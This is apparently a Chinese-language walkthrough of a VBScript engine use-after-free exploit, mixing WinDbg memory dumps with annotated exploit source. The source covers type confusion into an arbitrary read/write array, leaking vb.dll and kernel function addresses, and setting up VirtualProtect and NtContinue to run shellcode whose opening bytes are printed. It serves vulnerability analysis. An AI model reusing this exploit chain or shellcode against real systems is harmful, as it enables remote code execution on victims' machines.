0:005> dd poi(esp+c) 01cd08a8 00000008 00000000 01cc7fdc 0000200c 01cd08b8 02490002 01cd2fa8 01cb0006 0249c454 01cd08c8 02490002 01cd2fa8 01cb0001 0249c454 0:005> du 01cc7fdc 01cc7fdc "finish set array_b to 0"

Free之前的占位

还记得上面分析UAF里面的第一次cla4_obj1对Trigger的占位吗，现在再次查看下这个地址：

// For i=0 To 6 // array_b(i)=0 // Next //由于重新进行了调试，这一次的地址是1cb2528，最近的这条日志可以打印出这个地址 Class cla4 at 1cb2528, terminate called 0:005> dd 1cb2528 01cb2528 712f00d4 00000000 00000000 00000000 //原本占位在这里的cla4_obj1的内存被释放了 01cb2538 000003ec 00000000 00000000 00000000 01cb2548 00000000 002de2a4 00000000 00000000 01cb2558 59acc226 88008da0 712f1748 00000001 01cb2568 01cb5210 003be638 000003ec 00000000 01cb2578 00000000 00000000 00000000 002a613c 01cb2588 00000000 01cb24f0 59acc23f 8c000000 01cb2598 712fce78 71303100 713030f0 00000002 0:005> !heap -a -p 1cb2528 ********************************************** the `!heap -p' commands in exts.dll have been replaced with equivalent commands in ext.dll. If your are in a KD session, use `!ext.heap -p` ********************************************** 0:005> !heap -p -a 1cb2528 address 01cb2528 found in _HEAP @ 3b0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 01cb2520 0007 0000 [00] 01cb2528 00030 - (free) //堆回溯查看已经被free

重新占位，伪造数据结构

第三次断点，此时再次进行占位，使用的是cla5_obj1;

//源码 Set cla5_obj1=New cla5 '再次使用悬垂指针重新用cla5_obj1占位， cla5_obj1.mem=str_1 IsEmpty(cla5_obj1) '这个str1是一个全局变量， 'str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

Breakpoint 3 hit eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001 eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 7130c206 8bff mov edi,edi 0:005> dd 01cb2528 //可以直接查看前面一步被free的地址，已经再次占位成功 01cb2528 712f1748 00000002 01c***f0 003be638 //这个01c***f0是cla5.mem的地址 01cb2538 000003ec 00000000 00000000 00000000 01cb2548 00000000 002de344 00000000 01cb2560 01cb2558 59acc226 88008da0 712f1748 00000001 01cb2568 01cb5210 003be638 000003ec 00000000 01cb2578 00000000 00000000 00000000 002a613c 01cb2588 01cb2528 01cb24f0 59acc23f 8c000000 01cb2598 712fce78 71303100 713030f0 00000002 0:005> du 002de344 002de344 "cla5" //源码 cla5_obj1.mem=str_1 0:005> dd 01c***f0 01c***f0 01cb74a8 000000b8 00000100 00000100 01cb5100 00004000 01cb74ac 01cb754c 01cb3e30 01cb5110 0000000f 00000003 00000040 00000003 01cb5120 00000014 01cb5128 01cb74ac 01cb74f4 01cb5130 01cb752c 00000475 00000000 01cb5100 01cb5140 01cb5114 00000002 00000000 00000477 01cb5150 0000047d 000015c6 00000002 00000000 01cb5160 0000047e 00000482 00000bfc 00000012 0:005> dd 01cb752c 01cb752c 00000008 00000000 002de2f4 00000000 //0x08是类型，代表的vbstring,后面会把这个类型改为safearray即0x200c 01cb753c 00000000 00000000 0000822f 00000006 01cb754c 00000000 00000000 00000003 01cb752c 01cb755c 0065006d 0000006d 00000b19 00000b5b 01cb756c 00000000 01cb749c 01cb7540 00000001 01cb757c 00000000 00000b65 00000b69 01cb7824 01cb758c 00000001 00000000 00000b6a 00000b6e 01cb759c 01cb7824 00000002 00000000 00000b6f //看伪造的这个类似于数组的字符串，它的元素有7fffffff个,每个元素占一字节，元素内存地址为0，那它能访问的内存空间是0-0x7fffffff //如果现在类型变为safearray，就能够实现全址读写 //str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 0:005> dd 002de2f4 002de2f4 08800001 00000001 00000000 00000000 002de304 7fffffff 00000000 00000000 585693f7 002de314 88000000 0000000e 81ea6765 98757f51

双精度浮点数完成类型混淆的原理

Get P 执行完成后，P作为返回值返回给cla4.mem成员变量中，那么P是什么:

//源码中; P=174088534690791e-324 //优化后这样的： P=CDbl("174088534690791e-324") //CDbl是vbs中的吧表达式转化为双精度类型的一个函数 174088534690791 e-324 是174088534690791的-324平方 用c语言计算为:printf("%I64x\n",174088534690791e-324); 为，200c00000000, 由它是vbDouble类型，前面会有一个0x05的标志， 最终在内存中P的值为：00000005 00000000 00000000 0000200C

再次查看mem地址；

0:005> dd 01cb752c 01cb752c 0000200c 00000000 002de2f4 00000000 //类型被改为200c,代表着safearray类型01cb753c 00000000 00000000 0000822f 00000006 01cb754c 00000000 00000000 00000003 01cb752c 01cb755c 0065006d 0000006d 00000b19 00000b5b 01cb756c 00000000 01cb749c 01cb7540 00000001 01cb757c 00000000 00000b65 00000b69 01cb7824 01cb758c 00000001 00000000 00000b6a 00000b6e 01cb759c 01cb7824 00000002 00000000 00000b6f 0:005> dd 01cb752c-c 01cb7520 00000005 00000000 00000000 0000200c //这个就是P在内存中的值01cb7530 00000000 002de2f4 00000000 00000000 01cb7540 00000000 0000822f 00000006 00000000 01cb7550 00000000 00000003 01cb752c 0065006d 01cb7560 0000006d 00000b19 00000b5b 00000000 01cb7570 01cb749c 01cb7540 00000001 00000000 01cb7580 00000b65 00000b69 01cb7824 00000001 01cb7590 00000000 00000b6a 00000b6e 01cb7824 //为什么是从mem地址-c开始的，，这个-c的位置，是原来没有被释放的时候的cla4_obj1.mem的地址， //就是P修改的是释放前的mem的地址，释放前与占位后的mem相差0x0C字节， //00000005 00000000 00000000 0000200C这个数，刚好从0c的位置写入了0x200c

最终实现了 vbstring-->safearray的类型转换，cla5.mem最终拿到任意地址读写权限

在InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法，

伪造的字符串: str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 转换的类型: P=CDbl("636598737289582e-328") //dd 00000005 00000000 00000000 00000003 0x03是vbLong类型;

cla7的Get P中的第一次IsEmpty,free类对象地址：

//这次特意提前保存了没有被free的cla4_obj2类对象地址的状态： 0:005> dd 1cb2560 01cb2560 712f1748 00000007 01cb5210 003be638 01cb2570 000003ec 00000000 00000000 00000000 01cb2580 00000000 002a613c 01cb2528 01cb24f0 01cb2590 59acc23f 80000000 712f00d4 71303100 01cb25a0 713030f0 00000000 00000000 00000000 01cb25b0 00000000 0249cb64 00000000 00000000 01cb25c0 00000000 00000000 59acc234 80000000 01cb25d0 712f00db 71303100 713030f0 00000000 //目前还是cla4_obj2.mem 0:005> dd 01cb5210 01cb5210 01cb76d8 000000ac 00000100 00000100 01cb5220 00004000 01cb76dc 01cb7770 01cb3ec0 01cb5230 0000000f 00000003 00000040 00000003 01cb5240 00000014 01cb5248 01cb76dc 01cb7710 01cb5250 01cb7750 000004a3 00000000 01cb51b8 01cb5260 01cb522c 00000002 00000000 000004a5 //占位前的mem地址是01cb7750 0:005> dd 01cb7750 01cb7750 02490000 01cd2808 01cc0000 0249ce98 01cb7760 00000000 01cb7938 0000822f 00000006 01cb7770 00000000 00000000 00000003 00000000 Class cla4 at 1cb2560, terminate called Breakpoint 3 hit eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001 eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 7130c206 8bff mov edi,edi 0:005> dd poi(esp+c) 01cd08a8 00000008 00000000 01cc7f6c 00000003 01cd08b8 02490002 01cd2fa8 01cb0006 0249c454 01cd08c8 02490002 01cd2fa8 01cb0001 0249c454 01cd08d8 00000000 00000000 00000000 00000000 01cd08e8 00000000 00000000 00000000 00000000 01cd08f8 00000000 00000000 00000000 00000000 01cd0908 00000005 00000000 00000000 00000003 01cd0918 0249c720 01cd0938 01cb2560 712f4211 0:005> du 01cc7f6c 01cc7f6c "finish set array_c to 0" //再看类对象地址已经被free 0:005> dd 1cb2560 01cb2560 712f00d4 00000000 00000000 00000000 01cb2570 000003ec 00000000 00000000 00000000 01cb2580 00000000 002a613c 00000000 00000000 01cb2590 59acc23f 8c000000 712fce78 71303100 01cb25a0 713030f0 00000002 003be638 01cd27d0 01cb25b0 0029f090 0249cb64 00000000 00000000 01cb25c0 00000000 00000000 59acc234 80000000 01cb25d0 712f00db 71303100 713030f0 00000000 0:005> !heap -p -a 1cb2560 address 01cb2560 found in _HEAP @ 3b0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 01cb2558 0007 0000 [00] 01cb2560 00030 - (free)

cla7的Get P中的第二次IsEmpty,占位：

Breakpoint 3 hit eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001 eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 7130c206 8bff mov edi,edi 0:005> dd 1cb2560 01cb2560 712f1748 00000002 01cb5210 003be638 //占位成功 ,01cb5210为cla5.mem 01cb2570 000003ec 00000000 00000000 00000000 01cb2580 00000000 002a613c 00000000 01cb2528 01cb2590 59acc23f 8c000000 712fce78 71303100 01cb25a0 713030f0 00000002 003be638 01cd27d0 01cb25b0 0029f090 0249cb64 00000000 00000000 01cb25c0 00000000 00000000 59acc234 8c000000 01cb25d0 712fce78 71303100 713030f0 00000001 0:005> du 002a613c 002a613c "cla5" :005> dd 01cb5210 01cb5210 01cb76d8 000000b8 00000100 00000100 01cb5220 00004000 01cb76dc 01cb777c 01cb3ec0 01cb5230 0000000f 00000003 00000040 00000003 01cb5240 00000014 01cb5248 01cb76dc 01cb7724 01cb5250 01cb775c 000004a3 00000000 01cb51b8 01cb5260 01cb522c 00000002 00000000 000004a5 01cb5270 000004aa 00000c93 00000002 00000000 01cb5280 000004ab 000004af 000017a6 00000012 //可以看到占位后的地址是 01cb775c 与上面保存的占位前的mem的地址01cb7750相差0xc 0:005> dd 01cb775c 01cb775c 00000008 00000000 002de31c 00000000 //原始类型为一个0x08 vbstring类型 01cb776c 00000000 00000000 0000822f 00000006 01cb777c 00000000 00000000 00000003 45001e5b //当前字符串的内容为：str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 0:005> dd 002de31c 002de31c 00000000 00000000 00000000 00000000 002de32c 00000000 00000000 00000000 585693f2

cla7的Get P中的第三次IsEmpty,类型混淆：

0:005> dd 01cb5210 01cb5210 01cb76d8 000000b8 00000100 00000100 01cb5220 00004000 01cb76dc 01cb777c 01cb3ec0 01cb5230 0000000f 00000003 00000040 00000003 01cb5240 00000014 01cb5248 01cb76dc 01cb7724 01cb5250 01cb775c 000004a3 00000000 01cb51b8 01cb5260 01cb522c 00000002 00000000 000004a5 01cb5270 000004aa 00000c93 00000002 00000000 01cb5280 000004ab 000004af 000017a6 00000012 0:005> dd 01cb775c 01cb775c 00000003 00000000 002de31c 00000000 //类型更改后，0x03是vbLong类型01cb776c 00000000 00000000 0000822f 00000006 01cb777c 00000000 00000000 00000003 45001e5b //P=CDbl("636598737289582e-328") //dd 00000005 00000000 00000000 000000030:005> dd 01cb775c-c 01cb7750 00000005 00000000 00000000 00000003 01cb7760 00000000 002de31c 00000000 00000000 01cb7770 00000000 0000822f 00000006 00000000 01cb7780 00000000 00000003 45001e5b 0065006d

泄露指向字符串的指针，最后还有一句关键的代码：//源码 Alert "InitObjects2" spec_int_1=cla4_obj2.mem '这句将上面指向0000的那个字符串的指针泄露给了spec_int_1 IsEmpty(spec_int_1)

0:005> dd poi(esp+c) 0055fe68 00000003 00000000 003f9dd4 0c002e3a 0055fe78 00000000 00000000 02021598 00000000 0055fe88 024bd3d8 0055fea8 020217a0 00000000 0055fe98 024b0000 0055ffa8 00000000 00000000 0055fea8 024bd61c 0055ffa8 02021598 00000000 0055feb8 0000400c 00000000 02020fd0 00000000 0055fec8 0000400c 00000000 02020f80 00000000 0055fed8 0000400c 00000000 02020f3c 00000000 0:005> dd 003f9dd4 003f9dd4 00000000 00000000 00000000 00000000 //这个地址指向的就是00那个字符串， 003f9de4 00780000 00000074 003f93a4 4b92935b //由于windbg重新启动地址与上面不一致，但是从周围的元素可以观察出是一致的 003f9df4 8c000000 00000001 00000000 00000000 003f9e04 7fffffff 7fffffff 80000001 80000001 003f9e14 00000000 4b929326 88000000 00000000 003f9e24 006e0000 00740069 0062004f 0065006a 003f9e34 00740063 00000073 003f9e4c 4b92932d 003f9e44 88000000 00000018 006e0049 00740069

3.3.PoC 中的地址泄露

//此函数泄露 CEntryPoint 对象的虚函数表地址，该地址属于Vb.dll。 Function LeakVBAddr On Error Resume Next '忽略错误，执行下一条代码 Dim emptySub_addr_placeholder '构造一个类型为null 的 CEntryPoint 对象 emptySub_addr_placeholder=EmptySub emptySub_addr_placeholder=null IsEmpty(emptySub_addr_placeholder) '此断点可以查看此 CEntryPointObject 地址 SetMemValue emptySub_addr_placeholder '这种传参数不用括号也是可以的 LeakVBAddr=GetMemValue End Function

在LeakVBAddr函数中 IsEmpty 断下查看 emptySub_addr_placeholder 是什么;

0:005>dd poi(esp+c)

0055fe58 00000001000007ff 0055e030 cf0000cf //这个对象地址下一步会保存在指向空字符串+8的地方

0055fe68 00000001000007ff 0055e030 cf0000cf

0055fe78 00000000000000000202159800000000

0055fe88 024bd3d8 0055fea8 020217a0 00000000

0:005>ln poi(0055e030)//发现它是一个CEntryPoint对象，

(6a5b4934)vb!CEntryPoint::`vftable' | (6a5cab54) vb!CEntryPointDispatch::`vftable'

Exact matches:

vb!CEntryPoint::`vftable`=<no type information>

源码短短几句简单的代码会产生一个CEntryPoint对象的原因为：

On Error Resume Next //首先它定义了忽略错误 Dim emptySub_addr_placeholder //定义一个变量 emptySub_addr_placeholder =EmptySub //将函数指针赋值给一个变量，VBS语法是不允许这样的 //但是其上面忽略了错误，最终这个函数指针的值仍然被赋值给了变量 emptySub_addr_placeholder=null //然后将该值的类型设置为null //最终，变量里面仍然保存着一个函数指针，但是类型为null

进入SetMemValue函数： 要记住上面在InitObjects函数的最后spec_int_1中保存的就是那个0字符串的地址

//源码 Sub SetMemValue(ByRef Ili) cla4_obj1.mem(spec_int_1+8)=Ili '将CEntryPoint对象放到spec_int_1+8的位置 IsEmpty("SetMemValue Finish") End Sub

可以这样修改是因为在cla4_obj1.mem已经是一个可以全地址读写的array了，继续， IsEmpty断下后：

//调试 Breakpoint 3 hit eax=6a5b185c ebx=024bcea0 ecx=6a60a9d8 edx=024bce18 esi=02016a68 edi=00000001 eip=6a5cc206 esp=024bcd34 ebp=024bcd44 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6a5cc206 8bff mov edi,edi //这个地址就是上面的指向空字符的地址： 0:005> dd 003f9dd4 003f9dd4 00000000 00000000 00000001 000007ff //从+8的位置保存的便是CEntryPoint对象,这个0x01是vbNull(可查询上方表格) 003f9de4 0055e030 cf0000cf 003f93a4 4b92935b 003f9df4 8c000000 00000001 00000000 00000000 003f9e04 7fffffff 7fffffff 80000001 80000001 003f9e14 00000000 4b929326 88000000 00000000 003f9e24 006e0000 00740069 0062004f 0065006a 003f9e34 00740063 00000073 003f9e4c 4b92932d 003f9e44 88000000 00000018 006e0049 00740069

然后进入GetMemValue函数：

//源码Function GetMemValue cla4_obj1.mem(spec_int_1)= 3 '将CEntryPoint对象 的类型改为3 即为Long IsEmpty("GetMemValue Finish") GetMemValue=cla4_obj1.mem(spec_int_1+ 8)End Function

IsEmpty 断下后：

//调试 0:005> dd poi(esp+c) 0055fe38 00000008 024bcf28 02016a38 03120780 0055fe48 024b0000 0055fe88 024b0001 0055c7e8 0055fe58 024bd194 0055fe88 0055fe68 cf0000cf 0:005> du 02016a38 02016a38 "GetMemValue Finish" //这是打的断点标记 0:005> dd 003f9dd4 //str_2地址 003f9dd4 00000002 024bcf28 02020003 03120780 //02020003高位保存的03(vbLong)就是赋值的位置，类型改变成功了，但是周围生成的值是哪里来的(这些值是不影响的但是就是没搞清楚来源)? 003f9de4 0055e030 cf0000cf 003f93a4 4b92935b //+8的位置没有变 003f9df4 8c000000 00000001 00000000 00000000 003f9e04 7fffffff 7fffffff 80000001 80000001 003f9e14 00000000 4b929326 88000000 00000000 003f9e24 006e0000 00740069 0062004f 0065006a 003f9e34 00740063 00000073 003f9e4c 4b92932d 003f9e44 88000000 00000018 006e0049 00740069

在GetMemValue=cla4_obj1.mem(spec_int_1+8)这一步把0055e030的值给了GetMemValue，GetMemValue赋值给了LeakVBAddr ，以上整个 LeakVBAddr 函数过程得到了 vbLong 型的 CEntryPoint对象地址

我们在 StartExploit 中确认一下是否正确

UAF InitObjects vb_adrr=LeakVBAddr IsEmpty(vb_adrr) //确认IsEmpty的值

在 IsEmpty 中断下：

Breakpoint 3 hit eax=6a5b185c ebx=024bd328 ecx=6a60a9d8 edx=024bd2a0 esi=02016a68 edi=00000001 eip=6a5cc206 esp=024bd1bc ebp=024bd1cc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6a5cc206 8bff mov edi,edi 0:005> dd poi (esp+c) 0055fe88 02020003 03120780 0055e030 cf0000cf //的确是我们上面得到的类对象地址 0055fe98 024b0000 0055ffa8 00000000 00000000 0055fea8 024bd61c 0055ffa8 02021598 00000000 0:005> ln poi(0055e030) (6a5b4934) vb!CEntryPoint::`vftable' | (6a5cab54) vb!CEntryPointDispatch::`vftable' Exact matches: vb!CEntryPoint::`vftable' =

3.4 关键地址的获取

3.4.1 获取虚函数表地址

先看 PoC 中的GetUint32函数：

//函数参数为对象地址，然后该函数返回的是这个对象的虚函数表地址 Function GetUint32(addr) Dim value IsEmpty("enter GetUint32") cla4_obj1.mem(spec_int_1+8)=addr+4 '原本存放CEntryPoint对象的位置 存放 该对象地址+4 IsEmpty("spec_int_1+8") cla4_obj1.mem(spec_int_1)=8 '改为字符串 type string IsEmpty("type string") value=cla4_obj1.P0123456789 IsEmpty(value) cla4_obj1.mem(spec_int_1)=2 '改为 整型 type vbInteger IsEmpty("type vbInteger") GetUint32=value End Function

单纯看上面代码一头雾水，我们从内存中看：

//刚enter GetUint32时，003c7c7c地址是str_2空字符串地址 0:005> dd 003c7c7c 003c7c7c 00000002 0241cdc0 772c0003 0241d1f8 //772c0003mem地址 003c7c8c 0061e788 0241d038 00000000 08e9cd8e //0061e788是CEntryPoint类对象地址 003c7c9c 80000000 688a0075 00000873 003c9188 003c7cac 00000000 003c7cf0 00000035 003fbc74 003c7cbc 003c7ccc 08e9cd85 80000000 0000007a 003c7ccc 00680063 00630065 0062006b 0078006f 003c7cdc 00000000 00000000 00000000 08e9cd80 003c7cec 80000000 688a0048 00000874 003c9188 //cla4_obj1.mem(spec_int_1+8)=addr+4 0:005> dd 003c7c7c 003c7c7c 00000002 0241cdc0 772c0003 0241d1f8 003c7c8c 0061e78c 0241d038 00000000 08e9cd8e //0061e788---> 0061e78c003c7c9c 80000000 688a0075 00000873 003c9188 003c7cac 00000000 003c7cf0 00000035 003fbc74 003c7cbc 003c7ccc 08e9cd85 80000000 0000007a 003c7ccc 00680063 00630065 0062006b 0078006f 003c7cdc 00000000 00000000 00000000 08e9cd80 003c7cec 80000000 688a0048 00000874 003c9188 // cla4_obj1.mem(spec_int_1)=8 0:005> dd 003c7c7c 003c7c7c 772c0002 0241d1f8 02440008 0241d038 //类型0x03vbLong-->0x08vbString003c7c8c 0061e78c 0241d038 00000000 08e9cd8e 003c7c9c 80000000 688a0075 00000873 003c9188 003c7cac 00000000 003c7cf0 00000035 003fbc74 003c7cbc 003c7ccc 08e9cd85 80000000 0000007a 003c7ccc 00680063 00630065 0062006b 0078006f 003c7cdc 00000000 00000000 00000000 08e9cd80 003c7cec 80000000 688a0048 00000874 003c9188

然后 value=cla4_obj1.P0123456789 这一步，先说结论，最终返回的是 CEntryPoint类对象的虚函数表地址 为什么? 看一下 cla4_obj1.P0123456789 的实现逻辑：

Class cla5 Dim mem Function P0123456789 P0123456789=LenB(mem(spec_int_1+8)) End Function Function SPP End Function End Class

LenB 在VB.dll中调用的是cbLengthBstr,下面是它的代码

.text:6E4F38C2 ; unsigned __int32 __stdcall cbLengthBstr(unsigned __int16 *) .text:6E4F38C2 ?cbLengthBstr@@YGKPAG@Z proc near ; CODE XREF: rtConcatBstr(ushort *,ushort *)+C p .text:6E4F38C2 ; rtConcatBstr(ushort *,ushort *)+16 p ... .text:6E4F38C2 .text:6E4F38C2 arg_0 = dword ptr 8 .text:6E4F38C2 .text:6E4F38C2 mov edi, edi .text:6E4F38** push ebp .text:6E4F38C5 mov ebp, esp .text:6E4F38C7 mov eax, [ebp+arg_0] .text:6E4F38CA test eax, eax .text:6E4F38CC jz short loc_6E4F38D1 .text:6E4F38CE mov eax, [eax-4] //这一步是重点 .text:6E4F38D1 .text:6E4F38D1 loc_6E4F38D1: ; CODE XREF: cbLengthBstr(ushort *)+A j .text:6E4F38D1 pop ebp .text:6E4F38D2 retn 4 .text:6E4F38D2 ?cbLengthBstr@@YGKPAG@Z endp

CEntryPoint对象地址是0061e788，对象地址+4仍然存放在这里就是0061e78c，代码更改了它的类型为vbstring，那么这个值就变成了BSTR字符串指针，然后使用LenB求它的长度；

但是在 cbLengthBstr 内部的执行是将mov eax, [eax-4],这是因为正常的 BSTR 字符串的结构是：前四个字节保存的是字符串长度，在字符串结尾以字符0识别，BSTR****。

但是我们这个原本不是 BSTR 字符串类型，当[eax-4]的时候得到仍然是类对象地址中的内容；

0:005> dd [0061e78c-4] 0061e788 6e654934 00000001 0061ff68 02446528 //0061e788保存的本来就是虚函数表的地址0061e798 0244f9a8 00000000 0061ff68 0061fc80 0061e7a8 67352229 0800c9e4 6e654934 00000001 0061e7b8 0061ff68 02446528 0244f9dc 00000000 0061e7c8 0061ff68 0061fc80 67352229 0800c9e4 0061e7d8 6e654934 00000001 0061ff68 02446528 0061e7e8 0244fa50 00000000 0061ff68 0061fc80 0061e7f8 67352229 0800c9e4 6e654934 00000001

以上为得到VB.dll中的CEntryPoint对象虚函数表的过程

3.4.2.获取 VB.dll 基地址

Function FindMzBase(vtable_address) Dim base base=vtable_address And &hffff0000 '64k对齐，得到vb.dll 基地址 Alert "FindMzBase " IsEmpty(base) Do While GetUint32(base+&h68)<>&h206E6920 Or GetUint32(base+&h6c)<>&h20534F44 base=base-&h10000 Loop IsEmpty(base) FindMzBase=base End Function

上面获得的虚函数表的地址是 CEntryPoint 对象的，这个地址属于 VB.dll，由于内存的64k对齐，把虚函数表地址后四位置零便得到 VB.dll 的基地址。

3.4.3.获取其余关键dll与函数地址

VB.dll 导入了 msvcrt.dll ， msvcrt.dll 又导入了 kernelbase.dll 与 ntdll.dll ，遍历它们的导入表最终可以从 kernelbase.dll 中获取到 VirtualProtect 函数地址，从 ntdll.dll 中获取 NtContinue 函数地址。

这部分属于PE文件的操作，请允许我不再详细分析。

'首先得到VB地址，其传入的是CEntryPoint虚函数表对象地址 vbs_base=FindMzBase(GetUint32(vb_adrr)) Alert "VB Base: 0x" & Hex(vbs_base) '遍历VB.dll导入表找到msvcrt.dll基地址 msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll") Alert "MSVCRT Base: 0x" & Hex(msv_base) '遍历msvcrt.dll导入表找到kernelbase.dll基地址 krb_base=GetBaseFromImport(msv_base,"kernelbase.dll") Alert "KernelBase Base: 0x" & Hex(krb_base) '遍历msvcrt.dll导入表找到ntdll.dll基地址 ntd_base=GetBaseFromImport(msv_base,"ntdll.dll") Alert "Ntdll Base: 0x" & Hex(ntd_base) '从kernelbase.dll找到VirtualProtect函数地址 VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect") Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr) '从ntdll.dll找到 NtContinue 函数地址 NtContinueAddr=GetProcAddr(ntd_base,"NtContinue") Alert "Ntdll!NtContinue Address 0x" & Hex(NtContinueAddr)

3.5 ShellCode的执行

3.5.1.ShellCode位置

源码中的shellcode部分的混淆我没有去理会，我们只要研究他是怎么执行起来的，环境是怎么构造的；

//PoC源码 SetMemValue GetShellcode ShellcodeAddr=GetMemValue+8 IsEmpty(ShellcodeAddr)

//GetShellcode最终返回的是Shellcode的地址， //SetMemValue 仍然与将这个字符串赋值到cla4_obj1.mem处 //执行之前spec_int_1处： //现在保留的是CEntryPoint对象+4的一个值，正常这里是最近的获取的函数的值 0:014> dd 00579aec 00579aec 00000002 00000000 6e610002 00000000 00579afc 0019e90c 025dcd08 00000000 01ad84c9 00579b0c 88000000 00000006 006f0046 0000006f 00579b1c 6d887684 0000606f 0000003e 00000000 00579b2c 00000000 01ad84ce 88000000 00000018 00579b3c 0065006d 00730073 00670061 00530065 00579b4c 00790074 0065006c 00000000 01ad84c3 00579b5c 80000000 688a00ed 0000086e 00579310 //SetMemValue GetShellcode执行之后 0:006> dd 00579aec 00579aec 00000002 00000000 025d0008 01c03508 00579afc 025e0024 025dc864 00000000 01ad84c9 00579b0c 88000000 00000006 006f0046 0000006f 00579b1c 6d887684 0000606f 0000003e 00000000 00579b2c 00000000 01ad84ce 80000000 000000ac 00579b3c 00000071 00530074 00650068 006c006c 00579b4c 006f0063 00650064 00000000 01ad84c3 00579b5c 88000000 00000004 00300030 00310000 //ShellcodeAddr=GetMemValue+8 //GetMemValue函数把spec_int_1类型改为long型，并把+08的地址返回

025e0024 就是shellcode的入口，准确的说是在 025e0024+8 的位置 在内存中看一下：

0:006> db 025e0024 l100 //从025e002c开始，前面是00 025e0024 00 00 00 00 00 00 00 00-fc e8 82 00 00 00 60 89 ..............`. 025e0034 e5 31 c0 64 8b 50 30 8b-52 0c 8b 52 14 8b 72 28 .1.d.P0.R..R..r( 025e0044 0f b7 4a 26 31 ff ac 3c-61 7c 02 2c 20 c1 cf 0d ..J&1.. !pte 025e0024 VA 025e0024 PDE at C0600090 PTE at C0012F00 contains 0000000076382867 contains 8000000043F0F867 pfn 76382 ---DA--UWEV pfn 43f0f ---DA--UW-V

现在shellcode的已经加载到内存中了，接下来就是构造环境执行的问题了

3.5.2.ShellCode 绕过DEPv

重点是这两个函数：

SetMemValue VirtualProtectCallParameters(ShellcodeAddr) lIlll=GetMemValue+69596 '0x10FDC IsEmpty(lIlll) SetMemValue ExpandWithVirtualProtect(lIlll) llIIll=GetMemValue IsEmpty(llIIll)

先看 VirtualProtectCallParameters 函数：

'构造VirtualProtect环境 参数为shellcode地址 Function VirtualProtectCallParameters(ShellcodeAddrParam) 'bypass cfg Alert "VirtualProtectCallParameters" Dim result result=String((100334-65536),Unescape("%u4141")) '重复0x10FDC个“A” result=result &EscapeAddress(ShellcodeAddrParam) '在0FDC个“A”后面放入shellcode地址 result=result &EscapeAddress(ShellcodeAddrParam) '第一个参数 修改的基地址 result=result &EscapeAddress(&h3000) '第二个参数 size result=result &EscapeAddress(&h40) '第三个参数PAGE_EXECUTE_READWRITE 0x40) result=result &EscapeAddress(ShellcodeAddrParam-8) '第四个，内存原始属性保存地址 result=result &String(6,Unescape("%u4242")) '重复 6个“**” result=result &StructWithNtContinueAddr ' \x00 * 3 NtContinue * 4 \x00 result=result &String((&h80000-LenB(result))/2,Unescape("%u4141")) '重复 0x80000- ？个“AA” VirtualProtectCallParameters=result End Function

一步一步解析：(VBS里面的&代表的是字符串的连接)

//源码：result=String((100334-65536),Unescape("%u4141")) //重复0x10FDC个“AA” 0:005> dd poi(esp+c) lc 0055e470 0000004a 00000000 02129da8 00000000 0055e480 024d0008 024dcc34 0392ca3c 024dcc1c 0055e490 00000000 02108298 0037a1bc 0055f5cc 0:005> dd 02129da8 lc 02129da8 00000008 00000000 0393da34 00000000 02129db8 00000000 00000000 655fbbf0 0c04fced 02129dc8 00000000 00550050 00000000 0055f698 //申请出的字符串 0:005> db 0393da34 0393da34 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da44 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da54 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393daa4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA //源码：result=result &EscapeAddress(ShellcodeAddrParam) 将shellcode地址放到字符串后面 0:005> dd 0393da34+10FDC lc 0394ea10 0265002c 00000000 00000000 00000000 //0265002c是shellcode的地址 0394ea20 f117622e 0007b655 003bb6d0 0035db68 0394ea30 00000000 00000000 00000000 00000000 //shellcode地址由于重新调试与上面地址不一样，但是可以看到确实是shellcode的代码 0:005> db 0265002c 0265002c fc e8 82 00 00 00 60 89-e5 31 c0 64 8b 50 30 8b ......`..1.d.P0. 0265003c 52 0c 8b 52 14 8b 72 28-0f b7 4a 26 31 ff ac 3c R..R..r(..J&1..< 0265004c 61 7c 02 2c 20 c1 cf 0d-01 c7 e2 f2 52 